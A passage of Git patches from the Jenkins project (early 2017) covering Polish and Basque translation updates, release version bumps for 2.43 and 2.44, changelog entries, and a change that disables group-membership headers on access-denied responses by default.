zewn\u0119trznych bibliotekach: plugin.dependencies=Informacja o licencji i zale\u017Cno\u015Bci plugin\u00F3w: +static.dependencies=Statyczne zasoby diff --git a/core/src/main/resources/hudson/Messages_pl.properties b/core/src/main/resources/hudson/Messages_pl.properties index c20122aeae..fca6881a87 100644 --- a/core/src/main/resources/hudson/Messages_pl.properties +++ b/core/src/main/resources/hudson/Messages_pl.properties @@ -1,6 +1,6 @@ # The MIT License # -# Copyright (c) 2016, Damian Szczepanik +# Copyright (c) 2016-2017, Damian Szczepanik # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal @@ -27,7 +27,7 @@ Util.day={0} {0,choice,0#dni|1#dzie\u0144|1utworzy\u0107 nowe zadanie aby rozpocz\u0105\u0107 prac\u0119. - +Welcome\ to\ Jenkins!=Witamy w Jenkinsie! +newJob=Utw\u00F3rz nowe zadanie, aby rozpocz\u0105\u0107 prac\u0119. +login=Zaloguj si\u0119, aby utworzy\u0107 nowe zadanie. +signup=Je\u015Bli nie masz jeszcze konta, mo\u017Cesz si\u0119 zarejestrowa\u0107 teraz. diff --git a/core/src/main/resources/hudson/model/Messages.properties b/core/src/main/resources/hudson/model/Messages.properties index 70bba990cf..f4cc589476 100644 --- a/core/src/main/resources/hudson/model/Messages.properties +++ b/core/src/main/resources/hudson/model/Messages.properties @@ -265,7 +265,7 @@ View.ReadPermission.Description=\ View.MissingMode=No view type is specified View.DisplayNameNotUniqueWarning=The display name, "{0}", is already in use by another view and \ could cause confusion and delay. - +UpdateCenter.DisplayName=Update Center UpdateCenter.Status.CheckingInternet=Checking internet connectivity UpdateCenter.Status.CheckingJavaNet=Checking update center connectivity UpdateCenter.Status.Success=Success diff --git a/core/src/main/resources/hudson/model/Messages_pl.properties b/core/src/main/resources/hudson/model/Messages_pl.properties index 401394c96a..5baa85e5ee 100644 --- a/core/src/main/resources/hudson/model/Messages_pl.properties +++ b/core/src/main/resources/hudson/model/Messages_pl.properties @@ -61,6 +61,7 @@ Run.Summary.BrokenForALongTime=nieudane od dawna Run.Summary.BrokenSinceThisBuild=nieudane od tego zadania Run.Summary.BrokenSince=nieudane od zadania {0} Run.Summary.Unknown=? +UpdateCenter.DisplayName=Centrum aktualizacji UpdateCenter.DownloadButNotActivated=Pobrana pomy\u015Blnie. Zostanie w\u0142\u0105czona podczas ponownego uruchomienia Jenkinsa UpdateCenter.Status.CheckingInternet=Sprawdzanie po\u0142\u0105czenia z Internetem UpdateCenter.Status.CheckingJavaNet=Sprawdzanie po\u0142\u0105czenia z centrum aktualizacji diff --git a/core/src/main/resources/hudson/model/ProxyView/configure-entries_pl.properties b/core/src/main/resources/hudson/model/ProxyView/configure-entries_pl.properties new file mode 100644 index 0000000000..da8020acd3 --- /dev/null +++ b/core/src/main/resources/hudson/model/ProxyView/configure-entries_pl.properties @@ -0,0 +1,23 @@ +# The MIT License +# +# Copyright (c) 2017, Damian Szczepanik +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. +The\ name\ of\ a\ global\ view\ that\ will\ be\ shown.=Nazwa globalnego widoku, kt\u00F3ra b\u0119dzie wy\u015Bwietlana +View\ name=Nazwa widoku diff --git a/core/src/main/resources/hudson/model/View/noJob_pl.properties b/core/src/main/resources/hudson/model/View/noJob_pl.properties new file mode 100644 index 0000000000..671c916980 --- /dev/null +++ b/core/src/main/resources/hudson/model/View/noJob_pl.properties @@ -0,0 +1,23 @@ +# The MIT License +# +# Copyright (c) 2017, Damian Szczepanik +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. +description_1=Ten widok nie ma przypisanych projekt\u00F3w. +description_2=Mo\u017Cesz doda\u0107 istniej\u0105ce projekty do tego widoku lub stworzy\u0107 dla niego nowe. diff --git a/core/src/main/resources/hudson/views/BuildButtonColumn/column_pl.properties b/core/src/main/resources/hudson/views/BuildButtonColumn/column_pl.properties index 3179ca1b18..8df1d40026 100644 --- a/core/src/main/resources/hudson/views/BuildButtonColumn/column_pl.properties +++ b/core/src/main/resources/hudson/views/BuildButtonColumn/column_pl.properties @@ -1,6 +1,6 @@ # The MIT License # -# Copyright (c) 2004-2010, Sun Microsystems, Inc. +# Copyright (c) 2004-2017, Sun Microsystems, Inc., Damian Szczepanik # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal @@ -21,5 +21,5 @@ # THE SOFTWARE. Build_scheduled=Zadanie zosta\u0142o zaplanowane -Schedule_a_build=Dodaj zadanie do kolejki dla {0} +Schedule_a_build=Dodaj zadanie {0} do kolejki Schedule_a_build_with_parameters=Uruchom z parametrami dla {0} diff --git a/core/src/main/resources/jenkins/install/SetupWizard/authenticate-security-token_pl.properties b/core/src/main/resources/jenkins/install/SetupWizard/authenticate-security-token_pl.properties index 9b249a7585..4ec407750d 100644 --- a/core/src/main/resources/jenkins/install/SetupWizard/authenticate-security-token_pl.properties +++ b/core/src/main/resources/jenkins/install/SetupWizard/authenticate-security-token_pl.properties @@ -19,12 +19,12 @@ # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. -authenticate-security-token.continue=Kontynuuj +authenticate-security-token.getting.started=Zaczynamy +authenticate-security-token.unlock.jenkins=Odblokuj Jenkinsa jenkins.install.findSecurityTokenMessage=Aby zapewni\u0107, \u017Ce Jenkins jest bezpiecznie uruchomiony przez administratora, \ -has\u0142o zosta\u0142o zapisane do pliku log\u00F3w (nie masz pewno\u015Bci, gdzie go znale\u017A\u0107?) oraz pliku na serwerze:

                                                          {0}

                                                          -authenticate-security-token.password.administrator=Has\u0142o administratorskie: -authenticate-security-token.password.incorrect=Has\u0142o nie jest poprawne, sprawd\u017A ponownie celem wprowadzenia poprawnego has\u0142a -authenticate-security-token.error=B\u0142\u0105d: +has\u0142o zosta\u0142o zapisane do pliku log\u00F3w (nie masz pewno\u015Bci, gdzie go znale\u017A\u0107?) oraz w pliku na serwerze:

                                                          {0}

                                                          authenticate-security-token.copy.password=Skopiuj has\u0142o z jednej z powy\u017Cszych lokalizacji i wklej poni\u017Cej. -authenticate-security-token.unlock.jenkins=Odblokuj Jenkinsa -authenticate-security-token.getting.started=Zaczynamy +authenticate-security-token.error=B\u0142\u0105d: +authenticate-security-token.password.incorrect=Has\u0142o nie jest poprawne, sprawd\u017A ponownie celem wprowadzenia poprawnego has\u0142a +authenticate-security-token.password.administrator=Has\u0142o administratorskie: +authenticate-security-token.continue=Kontynuuj diff --git a/core/src/main/resources/jenkins/model/Jenkins/systemInfo_pl.properties b/core/src/main/resources/jenkins/model/Jenkins/systemInfo_pl.properties index 96c85cb8bf..cb1dbdec00 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/systemInfo_pl.properties +++ b/core/src/main/resources/jenkins/model/Jenkins/systemInfo_pl.properties @@ -1,5 +1,24 @@ -# This file is under the MIT License by authors - +# The MIT License +# +# Copyright (c) 2013-2017, Kohsuke Kawaguchi, Damian Szczepanik +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. Enabled=W\u0142\u0105czony Environment\ Variables=Zmienne systemowe Name=Nazwa @@ -7,3 +26,5 @@ Pinned=Przypi\u0119ty Plugins=Wtyczki System\ Properties=W\u0142a\u015Bciwo\u015Bci systemu Version=Wersja +threadDump_blurb=Otw\u00F3rz t\u0119 stron\u0119, aby sprawdzi\u0107 w\u0105tki dla mastera i agent\u00F3w. +Thread\ Dumps=Zrzut w\u0105tk\u00F3w diff --git a/core/src/main/resources/lib/hudson/project/config-buildWrappers_pl.properties b/core/src/main/resources/lib/hudson/project/config-buildWrappers_pl.properties index e98932b414..790e7ac441 100644 --- a/core/src/main/resources/lib/hudson/project/config-buildWrappers_pl.properties +++ b/core/src/main/resources/lib/hudson/project/config-buildWrappers_pl.properties @@ -1,6 +1,6 @@ # The MIT License # -# Copyright (c) 2004-2016, Kohsuke Kawaguchi, Sun Microsystems, Inc., and a number of other of contributors +# Copyright (c) 2004-2017, Kohsuke Kawaguchi, Sun Microsystems, Inc., and a number of other of contributors # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal @@ -19,4 +19,4 @@ # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. -Build\ Environment=\u015Arodowisko do budowania +Build\ Environment=\u015Arodowisko do uruchomienia -- GitLab From 891dad967ec4da15323722fafab7d80a5d1b504b Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Sun, 29 Jan 2017 16:36:34 -0800 Subject: [PATCH 754/811] [maven-release-plugin] prepare release jenkins-2.43 --- cli/pom.xml | 2 +- core/pom.xml | 2 +- pom.xml | 4 ++-- test/pom.xml | 2 +- war/pom.xml | 2 +- 5 files changed, 6 insertions(+), 6 deletions(-) diff --git a/cli/pom.xml b/cli/pom.xml index 29594a05f8..08f2109b87 100644 --- a/cli/pom.xml +++ b/cli/pom.xml @@ -5,7 +5,7 @@ org.jenkins-ci.main pom - 2.43-SNAPSHOT + 2.43 cli diff --git a/core/pom.xml b/core/pom.xml index 8a256f7baa..c9fb75d410 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -29,7 +29,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.43-SNAPSHOT + 2.43 jenkins-core diff --git a/pom.xml b/pom.xml index ce72a1bd8f..1ec7e0829b 100644 --- a/pom.xml +++ b/pom.xml @@ -33,7 +33,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.43-SNAPSHOT + 2.43 pom Jenkins main module @@ -58,7 +58,7 @@ THE SOFTWARE. scm:git:git://github.com/jenkinsci/jenkins.git scm:git:ssh://git@github.com/jenkinsci/jenkins.git https://github.com/jenkinsci/jenkins - HEAD + jenkins-2.43 diff --git a/test/pom.xml b/test/pom.xml index f12b9e4fde..845b46f95f 100644 --- a/test/pom.xml +++ b/test/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.43-SNAPSHOT + 2.43 test diff --git a/war/pom.xml b/war/pom.xml index ccd097dfd1..8f00682155 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.43-SNAPSHOT + 2.43 jenkins-war -- GitLab From e612721e0bab49af3965a8c7761b9596ab4a4964 Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Sun, 29 Jan 2017 16:36:35 -0800 Subject: [PATCH 755/811] [maven-release-plugin] prepare for next development iteration --- cli/pom.xml | 2 +- core/pom.xml | 2 +- pom.xml | 4 ++-- test/pom.xml | 2 +- war/pom.xml | 2 +- 5 files changed, 6 insertions(+), 6 deletions(-) diff --git a/cli/pom.xml b/cli/pom.xml index 08f2109b87..aa26f4a66f 100644 --- a/cli/pom.xml +++ b/cli/pom.xml @@ -5,7 +5,7 @@ org.jenkins-ci.main pom - 2.43 + 2.44-SNAPSHOT cli diff --git a/core/pom.xml b/core/pom.xml index c9fb75d410..d2577beff6 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -29,7 +29,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.43 + 2.44-SNAPSHOT jenkins-core diff --git a/pom.xml b/pom.xml index 1ec7e0829b..b230d350e4 100644 --- a/pom.xml +++ b/pom.xml @@ -33,7 +33,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.43 + 2.44-SNAPSHOT pom Jenkins main module @@ -58,7 +58,7 @@ THE SOFTWARE. scm:git:git://github.com/jenkinsci/jenkins.git scm:git:ssh://git@github.com/jenkinsci/jenkins.git https://github.com/jenkinsci/jenkins - jenkins-2.43 + HEAD diff --git a/test/pom.xml b/test/pom.xml index 845b46f95f..65f2cc6a7d 100644 --- a/test/pom.xml +++ b/test/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.43 + 2.44-SNAPSHOT test diff --git a/war/pom.xml b/war/pom.xml index 8f00682155..282991fc10 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.43 + 2.44-SNAPSHOT jenkins-war -- GitLab From 1b20e49aa7f13a0a2f812218a85f828a7fe12df2 Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Sun, 29 Jan 2017 16:44:02 -0800 Subject: [PATCH 756/811] updated changelog for release --- changelog.html | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/changelog.html b/changelog.html index 781adb6a45..a3a58c9467 100644 --- a/changelog.html +++ b/changelog.html @@ -59,6 +59,10 @@ Upcoming changes
                                                        +

                                                        What's new in 2.43 (2017/01/29)

                                                        +
                                                          +
                                                        • +

                                                        What's new in 2.42 (2017/01/22)

                                                        • -- GitLab From d01b19118661f98d0197cdba345ac796bf1b6ac5 Mon Sep 17 00:00:00 2001 From: Daniel Beck Date: Mon, 30 Jan 2017 02:11:16 +0100 Subject: [PATCH 757/811] Noting #1485 --- changelog.html | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/changelog.html b/changelog.html index a3a58c9467..bc24934398 100644 --- a/changelog.html +++ b/changelog.html @@ -61,7 +61,9 @@ Upcoming changes

                                                          What's new in 2.43 (2017/01/29)

                                                            -
                                                          • +
                                                          • + Print stack traces in logical order, with the most important part on top. + (pull 1485)

                                                          What's new in 2.42 (2017/01/22)

                                                            -- GitLab From 0254e02a7455cf2b9b3d4a4b5f2f8a5fba1ed022 Mon Sep 17 00:00:00 2001 From: Andrew Bayer Date: Mon, 30 Jan 2017 10:56:21 -0800 Subject: [PATCH 758/811] Reverting last remnants of #2444 from Messages --- core/src/main/resources/hudson/model/Messages.properties | 2 -- core/src/main/resources/jenkins/model/Messages.properties | 1 - 2 files changed, 3 deletions(-) diff --git a/core/src/main/resources/hudson/model/Messages.properties b/core/src/main/resources/hudson/model/Messages.properties index 70bba990cf..bcb7d2acf9 100644 --- a/core/src/main/resources/hudson/model/Messages.properties +++ b/core/src/main/resources/hudson/model/Messages.properties @@ -386,5 +386,3 @@ Jenkins.IsRestarting=Jenkins is restarting User.IllegalUsername="{0}" is prohibited as a username for security reasons. User.IllegalFullname="{0}" is prohibited as a full name for security reasons. - -Hudson.NoParamsSpecified=No Parameters are specified for this parameterized build diff --git a/core/src/main/resources/jenkins/model/Messages.properties b/core/src/main/resources/jenkins/model/Messages.properties index e178950f4e..22eb57acf7 100644 --- a/core/src/main/resources/jenkins/model/Messages.properties +++ b/core/src/main/resources/jenkins/model/Messages.properties @@ -42,7 +42,6 @@ Hudson.NotUsesUTF8ToDecodeURL=\ See Containers and \ Tomcat i18n for more details. Hudson.NodeDescription=the master Jenkins node -Hudson.NoParamsSpecified=No Parameters are specified for this parameterized build CLI.restart.shortDescription=Restart Jenkins. CLI.safe-restart.shortDescription=Safely restart Jenkins. -- GitLab From 63c67407e4449306e8dc82a6b847e8429a80e98a Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Tue, 31 Jan 2017 13:33:35 -0500 Subject: [PATCH 759/811] =?UTF-8?q?Since=20reviewers=20could=20not=20agree?= =?UTF-8?q?=20on=20a=20way=20to=20cap=20group=20headers,=20simply=20omitti?= =?UTF-8?q?ng=20them=20altogether=20by=20default.=20Test=20still=20reprodu?= =?UTF-8?q?ces=20the=20original=20issue=20when=20flag=20is=20set=20on:=20?= =?UTF-8?q?=E2=80=A6=20org.eclipse.jetty.server.HttpChannel$CommitCallback?= =?UTF-8?q?=20failed=20WARNING:=20Commit=20failed=20java.io.IOException:?= =?UTF-8?q?=20Response=20header=20too=20large=20=09at=20org.eclipse.jetty.?= =?UTF-8?q?http.HttpGenerator.generateResponse(HttpGenerator.java:402)=20?= =?UTF-8?q?=09at=20org.eclipse.jetty.server.HttpConnection$SendCallback.pr?= =?UTF-8?q?ocess(HttpConnection.java:655)=20=09at=20=E2=80=A6=20=09at=20hu?= =?UTF-8?q?dson.security.AccessDeniedHandlerImpl.handle(AccessDeniedHandle?= =?UTF-8?q?rImpl.java:57)=20=09at=20=E2=80=A6=20Caused=20by:=20java.nio.Bu?= =?UTF-8?q?fferOverflowException=20=09at=20java.nio.HeapByteBuffer.put(Hea?= =?UTF-8?q?pByteBuffer.java:189)=20=09at=20java.nio.ByteBuffer.put(ByteBuf?= =?UTF-8?q?fer.java:859)=20=09at=20org.eclipse.jetty.http.HttpGenerator.pu?= =?UTF-8?q?tTo(HttpGenerator.java:1087)=20=09at=20org.eclipse.jetty.http.H?= =?UTF-8?q?ttpGenerator.generateHeaders(HttpGenerator.java:705)=20=09at=20?= =?UTF-8?q?org.eclipse.jetty.http.HttpGenerator.generateResponse(HttpGener?= =?UTF-8?q?ator.java:387)=20=09...=2066=20more=20java.lang.AssertionError:?= =?UTF-8?q?=20expected:<403>=20but=20was:<500>=20=09at=20org.junit.Assert.?= =?UTF-8?q?fail(Assert.java:88)=20=09at=20org.junit.Assert.failNotEquals(A?= =?UTF-8?q?ssert.java:834)=20=09at=20org.junit.Assert.assertEquals(Assert.?= =?UTF-8?q?java:645)=20=09at=20org.junit.Assert.assertEquals(Assert.java:6?= =?UTF-8?q?31)=20=09at=20hudson.security.AccessDeniedException2Test.youAre?= =?UTF-8?q?InGroupHeaders(AccessDeniedException2Test.java:56)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../hudson/security/AccessDeniedException2.java | 14 ++++++-------- .../security/AccessDeniedException2Test.java | 15 +-------------- 2 files changed, 7 insertions(+), 22 deletions(-) diff --git a/core/src/main/java/hudson/security/AccessDeniedException2.java b/core/src/main/java/hudson/security/AccessDeniedException2.java index 70d119602b..722451030c 100644 --- a/core/src/main/java/hudson/security/AccessDeniedException2.java +++ b/core/src/main/java/hudson/security/AccessDeniedException2.java @@ -6,6 +6,7 @@ import org.acegisecurity.GrantedAuthority; import javax.servlet.http.HttpServletResponse; import java.io.PrintWriter; +import jenkins.util.SystemProperties; /** * {@link AccessDeniedException} with more information. @@ -13,7 +14,8 @@ import java.io.PrintWriter; */ public class AccessDeniedException2 extends AccessDeniedException { - private static final int MAX_REPORTED_AUTHORITIES = 10; + /** If true, report {@code X-You-Are-In-Group} headers. Disabled due to JENKINS-39402; use {@code /whoAmI} etc. to diagnose permission issues. */ + private static /* not final */ boolean REPORT_GROUP_HEADERS = SystemProperties.getBoolean(AccessDeniedException2.class.getName() + ".REPORT_GROUP_HEADERS"); /** * This object represents the user being authenticated. @@ -41,13 +43,9 @@ public class AccessDeniedException2 extends AccessDeniedException { */ public void reportAsHeaders(HttpServletResponse rsp) { rsp.addHeader("X-You-Are-Authenticated-As",authentication.getName()); - GrantedAuthority[] authorities = authentication.getAuthorities(); - for (int i = 0; i < authorities.length; i++) { - if (i == MAX_REPORTED_AUTHORITIES) { - rsp.addHeader("X-You-Are-In-Group", "<" + (authorities.length - i) + " more>"); - break; - } else { - rsp.addHeader("X-You-Are-In-Group", authorities[i].getAuthority()); + if (REPORT_GROUP_HEADERS) { + for (GrantedAuthority auth : authentication.getAuthorities()) { + rsp.addHeader("X-You-Are-In-Group",auth.getAuthority()); } } rsp.addHeader("X-Required-Permission", permission.getId()); diff --git a/test/src/test/java/hudson/security/AccessDeniedException2Test.java b/test/src/test/java/hudson/security/AccessDeniedException2Test.java index 7ccf1c83d5..20a6172241 100644 --- a/test/src/test/java/hudson/security/AccessDeniedException2Test.java +++ b/test/src/test/java/hudson/security/AccessDeniedException2Test.java @@ -25,11 +25,7 @@ package hudson.security; import com.gargoylesoftware.htmlunit.FailingHttpStatusCodeException; -import com.gargoylesoftware.htmlunit.util.NameValuePair; import java.net.HttpURLConnection; -import java.util.ArrayList; -import java.util.List; -import org.hamcrest.Matchers; import static org.junit.Assert.*; import org.junit.Rule; import org.junit.Test; @@ -54,19 +50,10 @@ public class AccessDeniedException2Test { r.jenkins.setSecurityRealm(realm); r.jenkins.setAuthorizationStrategy(new MockAuthorizationStrategy()); try { - r.createWebClient().login("user").goTo("confgure"); + r.createWebClient().login("user"); fail("should not have been allowed to access anything"); } catch (FailingHttpStatusCodeException x) { assertEquals(HttpURLConnection.HTTP_FORBIDDEN, x.getStatusCode()); - List reportedGroups = new ArrayList<>(); - for (NameValuePair header : x.getResponse().getResponseHeaders()) { - if (header.getName().equals("X-You-Are-In-Group")) { - reportedGroups.add(header.getValue()); - } - } - assertThat("capped at a reasonable number", reportedGroups, Matchers.>allOf( - Matchers.hasSize(11), // 10 groups plus final warning - Matchers.hasItem("<991 more>"))); // 1000 + SecurityRealm.AUTHENTICATED_AUTHORITY.getAuthority() - 10 } } -- GitLab From 2db91ba506cf9ec929f6400a014dc3054b56c102 Mon Sep 17 00:00:00 2001 From: Daniel Beck Date: Tue, 31 Jan 2017 20:19:21 +0100 Subject: [PATCH 760/811] Use final releases --- core/pom.xml | 2 +- pom.xml | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/core/pom.xml b/core/pom.xml index a191e899c1..4c959c56eb 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -157,7 +157,7 @@ THE SOFTWARE. org.kohsuke.stapler stapler-adjunct-timeline - 1.5-20170112.000031-1 + 1.5 org.kohsuke.stapler diff --git a/pom.xml b/pom.xml index f01684c3f1..6eca811d01 100644 --- a/pom.xml +++ b/pom.xml @@ -179,7 +179,7 @@ THE SOFTWARE. org.jenkins-ci.main remoting - 2.53.5-20170111.201445-1 + 2.53.5 -- GitLab From b82fe6d2ce53af22e8807dff0c811deeb7752f85 Mon Sep 17 00:00:00 2001 From: Mikel Larreategi Date: Wed, 1 Feb 2017 10:03:34 +0100 Subject: [PATCH 761/811] fix eu translations --- .../hudson/model/AbstractBuild/index_eu.properties | 8 ++++---- .../hudson/model/AbstractBuild/tasks_eu.properties | 12 ++++++------ .../resources/hudson/model/Run/delete_eu.properties | 2 +- .../hudson/model/User/sidepanel_eu.properties | 2 +- .../hudson/model/View/People/index_eu.properties | 2 +- 5 files changed, 13 insertions(+), 13 deletions(-) diff --git a/core/src/main/resources/hudson/model/AbstractBuild/index_eu.properties b/core/src/main/resources/hudson/model/AbstractBuild/index_eu.properties index b9331070f8..005f64ba29 100644 --- a/core/src/main/resources/hudson/model/AbstractBuild/index_eu.properties +++ b/core/src/main/resources/hudson/model/AbstractBuild/index_eu.properties @@ -1,6 +1,6 @@ # This file is under the MIT License by authors -Build=fghg -Build\ Artifacts=gfhfgh -Took=fghg -startedAgo=dhgg +Build=Eraiki +Build\ Artifacts=Laguntzaileak eraiki +Took=Hartu +startedAgo=orain dela zenbat hasia diff --git a/core/src/main/resources/hudson/model/AbstractBuild/tasks_eu.properties b/core/src/main/resources/hudson/model/AbstractBuild/tasks_eu.properties index 9789ce28d1..ddd97547b6 100644 --- a/core/src/main/resources/hudson/model/AbstractBuild/tasks_eu.properties +++ b/core/src/main/resources/hudson/model/AbstractBuild/tasks_eu.properties @@ -1,8 +1,8 @@ # This file is under the MIT License by authors -Back\ to\ Project=drthdf -Changes=hgdg -Console\ Output=ghdgfh -Edit\ Build\ Information=Kompilazioaren argibidea edidatu -Status=hgfdhg -View\ Build\ Information=dhgg +Back\ to\ Project=Proiektura itzuli +Changes=Aldaketak +Console\ Output=Kontsolaren irteera +Edit\ Build\ Information=Konpilazioaren argibideak edidatu +Status=Egoera +View\ Build\ Information=Konpilazioaren egoera ikusi diff --git a/core/src/main/resources/hudson/model/Run/delete_eu.properties b/core/src/main/resources/hudson/model/Run/delete_eu.properties index 8aeecb7cf2..e2969c5d6e 100644 --- a/core/src/main/resources/hudson/model/Run/delete_eu.properties +++ b/core/src/main/resources/hudson/model/Run/delete_eu.properties @@ -1,3 +1,3 @@ # This file is under the MIT License by authors -Delete\ this\ build=Kompilazioa ezabatu +Delete\ this\ build=Konpilazioa ezabatu diff --git a/core/src/main/resources/hudson/model/User/sidepanel_eu.properties b/core/src/main/resources/hudson/model/User/sidepanel_eu.properties index 2f485ef3a4..a8e0793ff1 100644 --- a/core/src/main/resources/hudson/model/User/sidepanel_eu.properties +++ b/core/src/main/resources/hudson/model/User/sidepanel_eu.properties @@ -4,4 +4,4 @@ Builds=Kompilazioak Configure=Itxuratu My\ Views=Nire Begiak People=Jendea -Status=Estatus +Status=Egoera diff --git a/core/src/main/resources/hudson/model/View/People/index_eu.properties b/core/src/main/resources/hudson/model/View/People/index_eu.properties index e366a8bd48..01b5e6988e 100644 --- a/core/src/main/resources/hudson/model/View/People/index_eu.properties +++ b/core/src/main/resources/hudson/model/View/People/index_eu.properties @@ -1,3 +1,3 @@ # This file is under the MIT License by authors -People=Gendea +People=Jendea -- GitLab From 962f56f3e76779a276b9dfec67f0207b46f1ac64 Mon Sep 17 00:00:00 2001 From: Daniel Beck Date: Wed, 1 Feb 2017 14:09:27 +0100 Subject: [PATCH 762/811] Add link to future security advisory URL for 2.44 --- changelog.html | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/changelog.html b/changelog.html index bc24934398..a9baf3cd4e 100644 --- a/changelog.html +++ b/changelog.html @@ -56,7 +56,9 @@ Upcoming changes

                                                            What's new in 2.43 (2017/01/29)

                                                            -- GitLab From 5828e963ac26f209298c3fdfb7a3a49f2cc401d4 Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Wed, 1 Feb 2017 05:31:35 -0800 Subject: [PATCH 763/811] [maven-release-plugin] prepare release jenkins-2.44 --- cli/pom.xml | 2 +- core/pom.xml | 2 +- pom.xml | 4 ++-- test/pom.xml | 2 +- war/pom.xml | 2 +- 5 files changed, 6 insertions(+), 6 deletions(-) diff --git a/cli/pom.xml b/cli/pom.xml index aa26f4a66f..bb7e636c10 100644 --- a/cli/pom.xml +++ b/cli/pom.xml @@ -5,7 +5,7 @@ org.jenkins-ci.main pom - 2.44-SNAPSHOT + 2.44 cli diff --git a/core/pom.xml b/core/pom.xml index a3ebe1ac9b..20feeab9ab 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -29,7 +29,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.44-SNAPSHOT + 2.44 jenkins-core diff --git a/pom.xml b/pom.xml index 360f60ec83..352319620b 100644 --- a/pom.xml +++ b/pom.xml @@ -33,7 +33,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.44-SNAPSHOT + 2.44 pom Jenkins main module @@ -58,7 +58,7 @@ THE SOFTWARE. scm:git:git://github.com/jenkinsci/jenkins.git scm:git:ssh://git@github.com/jenkinsci/jenkins.git https://github.com/jenkinsci/jenkins - HEAD + jenkins-2.44 diff --git a/test/pom.xml b/test/pom.xml index 65f2cc6a7d..ddd9681186 100644 --- 